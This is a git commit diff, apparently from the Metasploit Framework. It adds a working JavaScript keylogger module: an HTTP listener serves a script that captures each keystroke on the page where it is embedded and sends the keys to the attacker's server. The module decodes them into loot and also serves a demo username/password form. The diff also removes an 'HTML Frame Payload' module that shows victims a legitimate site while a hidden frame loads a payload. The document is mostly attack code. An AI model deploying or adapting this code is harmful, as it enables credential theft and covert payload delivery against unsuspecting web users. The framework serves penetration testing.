Adding Javascript Keylogger
Marcus J. Carey
parent
e70f9151e5
commit
3bfb8b3c9d
|
|
@ -0,0 +1,267 @@
|
|||
#
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Metasploit JavaScript Keylogger',
|
||||
'Description' => %q{
|
||||
This modules runs a HTTP Server to serves as a remote keylog listener
|
||||
to capture web page keystrokes.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>'],
|
||||
'Version' => '$Revision: $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.metasploit.com'],
|
||||
]))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]),
|
||||
OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]),
|
||||
OptBool.new('DEMO', [true, "Create a Demo Keylogger Page",false]),
|
||||
OptString.new('URIPATH', [true, "Recommended value is \"\/\"","/"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# This is the Demo Form Page <HTML>
|
||||
def demo
|
||||
html = <<EOS
|
||||
<html>
|
||||
<head>
|
||||
<title>Metasploit JavaScript Keylogger Demonstration Form</title>
|
||||
<script type="text/javascript" src="#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}.js"></script>
|
||||
</head>
|
||||
<body bgcolor="white">
|
||||
<br><br>
|
||||
<div align="center">
|
||||
<h1>Metasploit<br>Javascript Keylogger Demo</h1>
|
||||
<form method=\"POST\" name=\"logonf\" action=\"#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit\">
|
||||
<p><font color="red"><i>This form submits data to the Metasploit listener <br>at #{datastore['SRVHOST']}:#{datastore['SRVPORT']} for demonstration purposes.</i></font>
|
||||
<br><br>
|
||||
<table border="0" cellspacing="0" cellpadding="0">
|
||||
<tr><td>Username:</td> <td><input name="userf" size="20"></td> </tr>
|
||||
<tr><td>Password:</td> <td><input type="password" name="passwordf" size="20"></td> </tr>
|
||||
</table>
|
||||
<p align="center"><input type="submit" value="Submit"></p></form>
|
||||
<p><font color="grey" size="2">Metasploit® is a registered trademark of Rapid7, Inc.</font>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
return html
|
||||
end
|
||||
|
||||
# This is the JavaScript Key Logger Code
|
||||
def keylogger
|
||||
code = <<EOS
|
||||
window.onload = function load#{@random_text}(){
|
||||
l#{@random_text} = ",";
|
||||
document.onkeypress = p#{@random_text};
|
||||
document.onkeydown = d#{@random_text};
|
||||
}
|
||||
function p#{@random_text}(e){
|
||||
k#{@random_text} = window.event.keyCode;
|
||||
k#{@random_text} = k#{@random_text}.toString(16);
|
||||
if (k#{@random_text} != "d"){
|
||||
#{@random_text}(k#{@random_text});
|
||||
}
|
||||
}
|
||||
function d#{@random_text}(e){
|
||||
k#{@random_text} = window.event.keyCode;
|
||||
if (k#{@random_text} == 9 || k#{@random_text} == 8 || k#{@random_text} == 13){
|
||||
#{@random_text}(k#{@random_text});
|
||||
}
|
||||
}
|
||||
function #{@random_text}(k#{@random_text}){
|
||||
l#{@random_text} = l#{@random_text} + k#{@random_text} + ",";
|
||||
if (window.XMLHttpRequest){
|
||||
xmlhttp=new XMLHttpRequest();
|
||||
}
|
||||
else{
|
||||
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
xmlhttp=new XMLHttpRequest();
|
||||
xmlhttp.open("GET","#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}.bmp&[" + l#{@random_text} + "]",true);
|
||||
xmlhttp.send();
|
||||
}
|
||||
EOS
|
||||
return code
|
||||
end
|
||||
|
||||
def hex_to_s(log)
|
||||
@ascii_log = ""
|
||||
log.split(",").each do |char|
|
||||
case char.to_i
|
||||
# Do Backspace
|
||||
when 8
|
||||
if @ascii_log.present?
|
||||
if @ascii_log[@ascii_log.length - 4,@ascii_log.length] == "<CR>"
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 4]
|
||||
elsif @ascii_log[@ascii_log.length - 5,@ascii_log.length] == "<TAB>"
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 5]
|
||||
else
|
||||
@ascii_log = @ascii_log[0, @ascii_log.length - 1]
|
||||
end
|
||||
end
|
||||
|
||||
when 9 then @ascii_log += "<TAB>"
|
||||
when 13 then @ascii_log += "<CR>"
|
||||
|
||||
else
|
||||
@ascii_log += char.to_s.hex.chr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Creates Metasploit shield favicon
|
||||
def favicon
|
||||
ico = "000001000100101000000000000068050000160000002800000010000000200000000100"
|
||||
ico << "080000000000000100000000000000000000000100000000000000000000C5BDB5005534"
|
||||
ico << "1100FFFFFF002D1803006034060044250400673807004B290500D9D9D9004D2A05002515"
|
||||
ico << "040000000000000000000000"
|
||||
ico << "00" * 81 * 12
|
||||
ico << "000707000000000000000000000000000707070A00000000000000000000000707070A0A"
|
||||
ico << "0A000000000000000000070707070A0A0A0A0000000000000007030707070A0A0A010A00"
|
||||
ico << "000000000707030707070A0A0A09020A00000000070303070703090A0A09090A00000000"
|
||||
ico << "070303070703090A0A09090A0000000007030307050309080A09090A0000000007030307"
|
||||
ico << "070309040609090A0000000007030307030309090B09090A000000000703030303030909"
|
||||
ico << "0909090A000000000703030303070A090909090A000000000703030307070A0A0909090A"
|
||||
ico << "000000000707070707070A0A0A0A0A0A000000000007070707070A0A0A0A0A000000FE7F"
|
||||
ico << "0000FC3F0000F81F0000F00F0000E0070000C0030000C0030000C0030000C0030000C003"
|
||||
ico << "0000C0030000C0030000C0030000C0030000C0030000E0070000"
|
||||
ico = [ico].pack("H*")
|
||||
return ico
|
||||
end
|
||||
|
||||
# Creates a BMP image to make the requester happy
|
||||
def img
|
||||
bmp = '424D42000000000000003E00000028000000010000000100'
|
||||
bmp << '000001000100000000000400000000000000000000000000'
|
||||
bmp << '00000000000000000000FFFFFF0080000000'
|
||||
bmp = [bmp].pack("H*")
|
||||
return bmp
|
||||
end
|
||||
|
||||
# This handles reporting to the database
|
||||
def cleanup
|
||||
super
|
||||
path = store_loot("javascript.keystrokes", "text/plain", @host, @loot)
|
||||
print_status("Stored loot at #{path}")
|
||||
end
|
||||
|
||||
def current_time
|
||||
return Time.new.utc.strftime("[%d/%b/%Y:%H:%M:%S %Z]")
|
||||
end
|
||||
|
||||
# Creates and prints timestamp
|
||||
def request_timestamp(cli,request)
|
||||
print_status("#{cli.peerhost} - #{current_time} - [HTTP GET] - #{request.uri}")
|
||||
end
|
||||
|
||||
# This handles the HTTP responses for the Web server
|
||||
def on_request_uri(cli, request)
|
||||
@host = cli.peerhost
|
||||
|
||||
# Reply with JavaScript Source if *.js is requested
|
||||
if request.uri =~ /\.js/
|
||||
content_type = "text/plain"
|
||||
content = keylogger
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
|
||||
# JavaScript HTTP Image GET Request is used for sending the keystrokes over network.
|
||||
elsif request.uri =~ /\.bmp/
|
||||
content = img
|
||||
content_type = "image/bmp"
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
log = request.uri.split("\.bmp&")[1]
|
||||
hex_to_s(log)
|
||||
@loot << "#{cli.peerhost} - #{current_time} - " + @ascii_log + "\r\n"
|
||||
if log.length > 1
|
||||
print_good("#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}")
|
||||
end
|
||||
|
||||
# Reply with Metasploit Shield Favicon
|
||||
elsif request.uri =~ /favicon\.ico/
|
||||
content = favicon
|
||||
content_type = "image/icon"
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
|
||||
# Reply with Demo Page
|
||||
elsif request.uri =~ /metasploit/ and datastore['DEMO']
|
||||
content = demo
|
||||
content_type = "text/html"
|
||||
send_response(cli, content, {'Content-Type'=> content_type})
|
||||
request_timestamp(cli,request)
|
||||
else
|
||||
# Reply with 404 - Content Not Found
|
||||
content = "Error 404 (Not Found)!"
|
||||
send_response(cli, "<html><title>#{content}</title><h1>#{content}</h1></html>", {'Content-Type' => 'text/html'})
|
||||
end
|
||||
end
|
||||
|
||||
def use_ssl?
|
||||
if datastore['SSL']
|
||||
@http_mode = "https://"
|
||||
else
|
||||
@http_mode = "http://"
|
||||
end
|
||||
end
|
||||
|
||||
def start_log
|
||||
@loot = ""
|
||||
logo = %Q{
|
||||
# cowsay++
|
||||
_________________________________
|
||||
< metasploit javascript keylogger >
|
||||
---------------------------------
|
||||
\\ ,__,
|
||||
\\ (oo)____
|
||||
(__) )\\
|
||||
||--|| *
|
||||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
||||
Started at #{current_time}
|
||||
=====================================
|
||||
|
||||
}
|
||||
logo = logo.gsub("\t\t\t","")
|
||||
|
||||
@loot << logo
|
||||
|
||||
end
|
||||
# This is the module's main runtime method
|
||||
def run
|
||||
start_log
|
||||
use_ssl?
|
||||
@ascii_log = ""
|
||||
@random_text = Rex::Text.rand_text_alpha(12)
|
||||
script_source = "#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/js#{@random_text}.js"
|
||||
|
||||
# Prints Demo Page
|
||||
if datastore['DEMO']
|
||||
print_status("Demonstration Form URL => %grn#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit%clr")
|
||||
end
|
||||
|
||||
# Prints HTML Embed Code
|
||||
print_status(" Keylogger <HTML> Code => %blu<script type=\"text/javascript\" src=\"#{script_source}\"></script>%clr")
|
||||
|
||||
# Starts Web Server
|
||||
exploit
|
||||
end
|
||||
end
|
||||
|
|
@ -1,126 +0,0 @@
|
|||
#
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HTML Frame Payload',
|
||||
'Description' => %q{
|
||||
This auxiliary module serves a payload via HTML frame.
|
||||
It serves a full browser frame to appear to be at a
|
||||
legit website and loads the payload in an unseen frame.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>'],
|
||||
'Version' => '$Revision: $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.metasploit.com'],
|
||||
]))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DISPLAY_URL', [false, "www.foo.tld - Webpage to display to victim."]),
|
||||
OptString.new('PAYLOAD_URL', [true, "foo.tld/exploit.jar - URL of payload."]),
|
||||
OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]),
|
||||
OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]),
|
||||
OptString.new('URIPATH', [false, "The URI to use for this module (default is \"/\")", "/"]),
|
||||
OptString.new('RHOST', [false, "DISPLAY_URL provides RHOST"]),
|
||||
OptString.new('RPORT', [false, "DISPLAY_URL Server Port", 80]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_title
|
||||
if datastore['DISPLAY_URL'] =~ /\//
|
||||
url = datastore['DISPLAY_URL']
|
||||
datastore['RHOST'] = url[0,url.index("/")]
|
||||
uri_path = url[url.index("/"),url.length - url.index("/")]
|
||||
else
|
||||
datastore['RHOST'] = datastore['DISPLAY_URL']
|
||||
uri_path = "\/"
|
||||
end
|
||||
|
||||
page = send_request_raw({
|
||||
'version' => '1.0',
|
||||
'uri' => "#{uri_path}",
|
||||
'method' => 'GET'}, 3)
|
||||
|
||||
if page
|
||||
page = page.to_s
|
||||
title = page[page.index("<title>") + 7, page.index("</title>") - page.index("<title>") - 7]
|
||||
end
|
||||
|
||||
return title
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if request.uri =~ /=/
|
||||
datastore['DISPLAY_URL'] = request.uri.split("=")[1]
|
||||
end
|
||||
|
||||
unless request.uri =~ /favicon/
|
||||
print_good("Displaying #{datastore['DISPLAY_URL']} to #{cli.peerhost}")
|
||||
end
|
||||
|
||||
content = %Q{<html>
|
||||
<head><title>#{get_title}</title></head>
|
||||
<frameset cols="100%,0%" noresize="noresize">
|
||||
<frame src="http://#{datastore['DISPLAY_URL']}" />
|
||||
<frame src="http://#{datastore['PAYLOAD_URL']}" />
|
||||
</frameset>
|
||||
</html>}
|
||||
|
||||
content = content.gsub("\t\t\t","")
|
||||
send_response(cli, content, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
msf > use auxiliary/server/html_frame_payload
|
||||
msf auxiliary(html_frame_payload) > show options
|
||||
|
||||
Module options (auxiliary/server/html_frame_payload):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DISPLAY_URL no www.foo.tld - Webpage to display to victim.
|
||||
PAYLOAD_URL yes foo.tld/exploit.jar - URL of payload.
|
||||
Proxies no Use a proxy chain
|
||||
RHOST no DISPLAY_URL provides RHOST
|
||||
RPORT 80 no DISPLAY_URL Server Port
|
||||
SRVHOST 192.168.171.153 yes Local HTTP Server IP Address
|
||||
SRVPORT 80 yes Local HTTP Server Port
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH / no The URI to use for this module (default is "/")
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf auxiliary(html_frame_payload) > set display_url www.metasploit.com/download/
|
||||
display_url => www.metasploit.com/download/
|
||||
msf auxiliary(html_frame_payload) > set payload_url downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
|
||||
payload_url => downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
|
||||
msf auxiliary(html_frame_payload) > run
|
||||
|
||||
[*] Using URL: http://192.168.171.153:80/
|
||||
[*] Server started.
|
||||
[+] Displaying www.metasploit.com/download/ to 192.168.171.153
|
||||
|
||||
=end
|
||||
Loading…
Reference in New Issue